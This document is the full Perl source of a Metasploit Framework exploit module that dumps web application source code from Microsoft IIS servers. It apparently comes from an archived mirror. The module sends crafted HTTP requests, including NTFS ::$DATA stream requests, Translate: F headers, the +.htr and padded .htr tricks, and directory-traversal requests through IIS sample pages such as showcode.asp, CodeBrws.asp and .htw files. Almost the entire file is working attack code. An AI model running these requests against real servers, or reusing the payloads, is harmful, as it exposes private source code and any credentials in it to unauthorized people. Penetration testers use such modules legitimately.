home *** CD-ROM | disk | FTP | other *** search
-
- ##
- # This file is part of the Metasploit Framework and may be redistributed
- # according to the licenses defined in the Authors field below. In the
- # case of an unknown or missing license, this file defaults to the same
- # license as the core Framework (dual GPLv2 and Artistic). The latest
- # version of the Framework can always be obtained from metasploit.com.
- ##
-
- package Msf::Exploit::iis_source_dumper;
- use base "Msf::Exploit";
- use strict;
-
- my $advanced = { };
-
- my $info =
- {
- 'Name' => 'IIS Web Application Source Code Disclosure',
- 'Version' => '$Revision: 1.4 $',
- 'Authors' => [ 'H D Moore <hdm [at] metasploit.com>' ],
-
- 'UserOpts' =>
- {
- 'RHOST' => [1, 'ADDR', 'The target address'],
- 'RPORT' => [1, 'PORT', 'The target port', 80],
- 'RFILE' => [1, 'DATA', 'The remote file path', '/default.asp'],
- 'VHOST' => [0, 'DATA', 'The virtual host name of the server'],
- 'SSL' => [1, 'BOOL', 'The target port', 0],
- 'FORCE' => [0, 'BOOL', 'Force testing when sanity check fails'],
- },
-
- 'Description' => Pex::Text::Freeform(qq{
- This module will use a variety of techniques to dump the source code
- of a remote web application.
- }),
-
- 'Refs' =>
- [
- ['MIL', '31']
- ],
-
- 'DefaultTarget' => 0,
- 'Targets' =>
- [
- [ 'All Techniques' ],
- [ 'Truncated HTR', \&bug_truncatehtr ],
- [ 'NTFS ::$DATA', \&bug_ntfsdata ],
- [ 'Translate: F', \&bug_translatef ],
- [ 'Null HTW', \&bug_nullhtw ],
- [ 'Codebrws.asp', \&bug_codebrws ],
- [ 'Sample HTW', \&bug_nullhtw ],
- [ 'Dot Plus HTR', \&bug_plusdothtr ],
- [ 'MSADC Showcode', \&bug_msadcshowcode ],
- [ 'IIS 4 Showcode', \&bug_iis4viewcode ],
-
- ],
- };
-
- sub new {
- my $class = shift;
- my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
- return($self);
- }
-
- sub Check {
- my $self = shift;
- my $resp = $self->Exploit('check');
- return $self->CheckCode('Confirmed') if $resp;
- return $self->CheckCode('Safe');
- }
-
- sub Exploit {
- my $self = shift;
- my $mode = shift;
- my $found = 0;
-
- if (! $self->Sanity && ! $self->GetVar('FORCE')) {
- $self->PrintLine("[*] Use the 'FORCE' option to continue anyways");
- return;
- }
-
- my @techs;
-
- # Determine which techniques should be used to get the file
- if ($self->GetVar('TARGET') == 0) {
- for (my $x = 1; $self->Targets->[$x]; $x++) {
- push @techs, $self->Targets->[$x]
- }
- }
- else {
- @techs = ( $self->Targets->[$self->GetVar('TARGET')] );
- }
-
- # Iterate through the selected tests
- foreach my $tech_ref (@techs) {
- my ($tech_name, $tech_func) = @{ $tech_ref };
-
- $self->PrintLine("[*] Attempting to use the '$tech_name' technique...");
- my $res = $tech_func->($self);
-
- if ($res) {
- $self->PrintLine("[*] Source code obtained via technique $tech_name");
- if ($mode eq 'check') {
- $found++;
- }
- else {
- $self->Print($res);
- return;
- }
- }
- }
-
- if ($found && $mode eq 'check') {
- return $found;
- }
-
- $self->PrintLine("[*] All implemented techniques have failed");
- return;
- }
-
- sub Sanity {
- my $self = shift;
- my $sock = $self->Connect;
-
- return if ! $sock;
-
- my $req =
- "GET ".$self->GetVar('RFILE'). " HTTP/1.1\r\n".
- "Host: ". $self->VHost. "\r\n".
- "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n".
- "\r\n";
-
- $sock->Send($req);
-
- my $code = $sock->RecvLine(5);
- my $data = $sock->Recv(-1, 5);
-
- $sock->Close;
-
- $self->SetTempEnv('RealData', $data);
-
- if ($code !~ /^HTTP....\s+(200|40[123]|50.)/) {
- $code =~ s/\r|\n//g;
- $self->PrintLine("[*] Sanity check failed: $code");
- return;
- }
-
- return 1;
- }
-
- sub DetectSource {
- my $self = shift;
- my $data = shift;
- my $real = $self->GetTempEnv('RealData');
-
- return 1 if $data =~ m/\<\%/;
- return 1 if $data =~ m/\<\?/;
-
- return 1 if ! $real;
- return if $data =~ /content-length: 0/i;
-
- # Not really accurate, but its quick and easy
- # my $sampleA = substr($data, -32, 32);
- # my $sampleB = substr($real, -32, 32);
-
- return;
- }
-
- ##
- # Source Dumper Techniques
- ##
-
- sub bug_ntfsdata {
- my $self = shift;
- my $sock = $self->Connect;
- return if ! $sock;
-
- my $req =
- "GET ".$self->GetVar('RFILE'). "::\$DATA HTTP/1.1\r\n".
- "Host: ". $self->VHost. "\r\n".
- "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n".
- "\r\n";
-
- $sock->Send($req);
-
- my $data = $sock->Recv(-1, 5);
- $sock->Close;
-
- return if $data =~ /^HTTP....\s+[345]/;
- return $data if $self->DetectSource($data);
- return;
- }
-
- sub bug_translatef {
- my $self = shift;
- my $sock = $self->Connect;
- return if ! $sock;
-
- my $req =
- "GET ".$self->GetVar('RFILE'). "\\ HTTP/1.1\r\n".
- "Translate: F\r\n".
- "Host: ". $self->VHost. "\r\n".
- "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n".
- "\r\n";
-
- $sock->Send($req);
-
- my $data = $sock->Recv(-1, 5);
- $sock->Close;
-
- return if $data =~ /^HTTP....\s+[345]/;
- return $data if $self->DetectSource($data);
- return;
- }
-
- # This technique will only work if the file extension ends in
- # .asp, .htm, .html, or .inc (or any of these extensions plus
- # a single character, such as .aspx or .htmx. We assume the
- # web root is parallel to the iissamples directory.
- sub bug_codebrws {
- my $self = shift;
-
- for my $level (1 .. 4) {
-
- my $sock = $self->Connect;
- return if ! $sock;
-
- my $path =
- '/iissamples/sdk/asp/docs/CodeBrws.asp?Source='.
- '/iissamples/'. ('%c0%ae%c0%ae/' x $level) .'wwwroot'.
- $self->GetVar('RFILE');
-
- my $req =
- "GET $path HTTP/1.1\r\n".
- "Host: ". $self->VHost. "\r\n".
- "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n".
- "\r\n";
-
- $sock->Send($req);
-
- my $data = $sock->Recv(-1, 5);
- $sock->Close;
-
- next if $data =~ /^HTTP....\s+[345]/;
- next if $data =~ /View Active Server Page Source.. Access Denied/;
- next if $data !~ /HTML and Text/;
-
- $self->PrintLine("[*] $path");
- my $start = '<FONT FACE="VERDANA, ARIAL, HELVETICA" SIZE="2">';
- my $idx = rindex($data, $start);
- if ($idx != -1) {
- $data = substr($data, $idx + length($start));
- $data = $self->Uglify($data);
- }
-
- return $data;
- }
-
- return;
- }
-
- # This bug returns file *fragments*, so detection may not always work
- sub bug_plusdothtr {
- my $self = shift;
- my $sock = $self->Connect;
- return if ! $sock;
-
- my $req =
- "GET ".$self->GetVar('RFILE'). "+.htr HTTP/1.1\r\n".
- "Host: ". $self->VHost. "\r\n".
- "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n".
- "\r\n";
-
- $sock->Send($req);
-
- my $data = $sock->Recv(-1, 5);
- $sock->Close;
-
- return if $data =~ /^HTTP....\s+[345]/;
- return $data if $self->DetectSource($data);
- return;
- }
-
- # This can be used to view any file on the same partition actually, so
- # we have to assume the web root is in the default location.
- sub bug_msadcshowcode {
- my $self = shift;
- my $sock = $self->Connect;
- return if ! $sock;
-
- my $path =
- '/msadc/Samples/SELECTOR/showcode.asp?source=/msadc/Samples/'.
- '/../../../../../inetpub/wwwroot'.
- $self->GetVar('RFILE');
-
- my $req =
- "GET $path HTTP/1.1\r\n".
- "Host: ". $self->VHost. "\r\n".
- "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n".
- "\r\n";
-
- $sock->Send($req);
-
- my $data = $sock->Recv(-1, 5);
- $sock->Close;
-
- return if $data =~ /^HTTP....\s+[345]/;
- return if $data =~ /View Active Server Page Source.. Access Denied/;
-
- if ($data =~ /HTML and Text/ && $data !~ /Microsoft VBScript runtime/) {
- $data = $self->Uglify($data);
- $self->PrintLine("[*] $path");
- return $data;
- }
-
- return;
- }
-
- # This can be used to view any file on the same partition actually, so
- # we have to assume the web root is in the default location.
- sub bug_iis4viewcode {
- my $self = shift;
- my @paths =
- (
- '/iissamples/Exair/Howitworks/Codebrws.asp',
- '/iissamples/Exair/Howitworks/Code.asp',
- '/iissamples/Exair/Howitworks/Codebrw1.asp',
- '/iissamples/sdk/asp/docs/codebrws.asp',
- '/iissamples/sdk/asp/docs/codebrw2.asp',
- '/Sites/Knowledge/Membership/Inspired/ViewCode.asp',
- '/Sites/Knowledge/Membership/Inspiredtutorial/ViewCode.asp',
- '/Sites/Samples/Knowledge/Membership/Inspired/ViewCode.asp',
- '/Sites/Samples/Knowledge/Membership/Inspiredtutorial/ViewCode.asp',
- '/Sites/Samples/Knowledge/Push/ViewCode.asp',
- '/Sites/Samples/Knowledge/Search/ViewCode.asp',
- '/SiteServer/Publishing/viewcode.asp',
- );
-
- foreach my $sample (@paths) {
- my $sock = $self->Connect;
- return if ! $sock;
-
- my $path =
- $sample.'?source=/../../../../../../inetpub/wwwroot'.
- $self->GetVar('RFILE');
-
- my $req =
- "GET $path HTTP/1.1\r\n".
- "Host: ". $self->VHost. "\r\n".
- "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n".
- "\r\n";
-
- $sock->Send($req);
-
- my $data = $sock->Recv(-1, 5);
- $sock->Close;
-
- next if $data =~ /^HTTP....\s+[345]/;
- return if $data =~ /View Active Server Page Source.. Access Denied/;
-
- if ($data =~ /HTML and Text/ && $data !~ /Microsoft VBScript runtime/) {
- $data = $self->Uglify($data);
- $self->PrintLine("[*] $path");
- return $data;
- }
-
- }
-
- return;
- }
-
- sub bug_nullhtw {
- my $self = shift;
- my $sock = $self->Connect;
- return if ! $sock;
-
- my $path =
- '/null.htw?CiWebhitsfile='.$self->GetVar('RFILE').
- '%20&CiRestriction=none&CiHiliteType=Full';
-
- my $req =
- "GET $path HTTP/1.1\r\n".
- "Host: ". $self->VHost. "\r\n".
- "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n".
- "\r\n";
-
- $sock->Send($req);
-
- my $data = $sock->Recv(-1, 5);
- $sock->Close;
-
- return if $data =~ /^HTTP....\s+[345]/;
- if ($data =~ /takes you to the next hit/) {
- $data = $self->Uglify($data);
- return $data;
- }
- return;
- }
-
- # This can be used to view any file on the same partition actually, so
- # we have to assume the web root is in the default location.
- sub bug_samplehtw {
- my $self = shift;
-
- my @paths =
- (
- '/iissamples/issamples/oop/qfullhit.htw',
- '/iissamples/issamples/oop/qsumrhit.htw',
- '/isssamples/exair/search/qfullhit.htw',
- '/isssamples/exair/search/qsumrhit.htw',
- '/isshelp/iss/misc/iirturnh.htw',
- );
-
- foreach my $sample (@paths) {
- my $sock = $self->Connect;
- return if ! $sock;
-
- my $path =
- $sample.'?CiWebhitsfile=../../../../inetpub/wwwroot'.$self->GetVar('RFILE').
- '&CiRestriction=none&CiHiliteType=Full';
-
- my $req =
- "GET $path HTTP/1.1\r\n".
- "Host: ". $self->VHost. "\r\n".
- "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n".
- "\r\n";
-
- $sock->Send($req);
-
- my $data = $sock->Recv(-1, 5);
- $sock->Close;
-
- next if $data =~ /^HTTP....\s+[345]/;
-
- if ($data =~ /takes you to the next hit/) {
- $self->PrintLine("[*] $path");
- $data = $self->Uglify($data);
- return $data;
- }
- }
-
- return;
- }
-
- # This check has to run first, since it will only work the first
- # time ISM.dll is loaded into the inetinfo process.
- sub bug_truncatehtr {
- my $self = shift;
- my $sock = $self->Connect;
- return if ! $sock;
-
- my $path =
- $self->GetVar('RFILE'). ('%20' x 230). '.htr';
-
- my $req =
- "GET $path HTTP/1.1\r\n".
- "Host: ". $self->VHost. "\r\n".
- "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n".
- "\r\n";
-
- $sock->Send($req);
-
- my $data = $sock->Recv(-1, 5);
- $sock->Close;
-
- return if $data =~ /^HTTP....\s+[345]/;
- return 1 if $self->DetectSource($data);
- return;
- }
-
- ##
- # General Purpose
- ##
-
- sub Uglify {
- my $self = shift;
- my $data = shift;
- $data =~ s/\<br\>/\n/gi;
- $data =~ s/\<[^\>+]\>//smg;
- $data =~ s/\ / /g;
- $data =~ s/\</\</g;
- $data =~ s/\>/\>/g;
- $data =~ s/\"/\"/g;
- return $data;
- }
-
- sub VHost {
- my $self = shift;
- my $name = $self->GetVar('VHOST') || $self->GetVar('RHOST');
- return $name;
- }
-
- sub Connect {
- my $self = shift;
- my $s = Msf::Socket::Tcp->new
- (
- 'PeerAddr' => $self->GetVar('RHOST'),
- 'PeerPort' => $self->GetVar('RPORT'),
- 'SSL' => $self->GetVar('SSL'),
- );
-
- if ($s->IsError) {
- $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
- return;
- }
-
- return $s;
- }
-
- 1;
-
-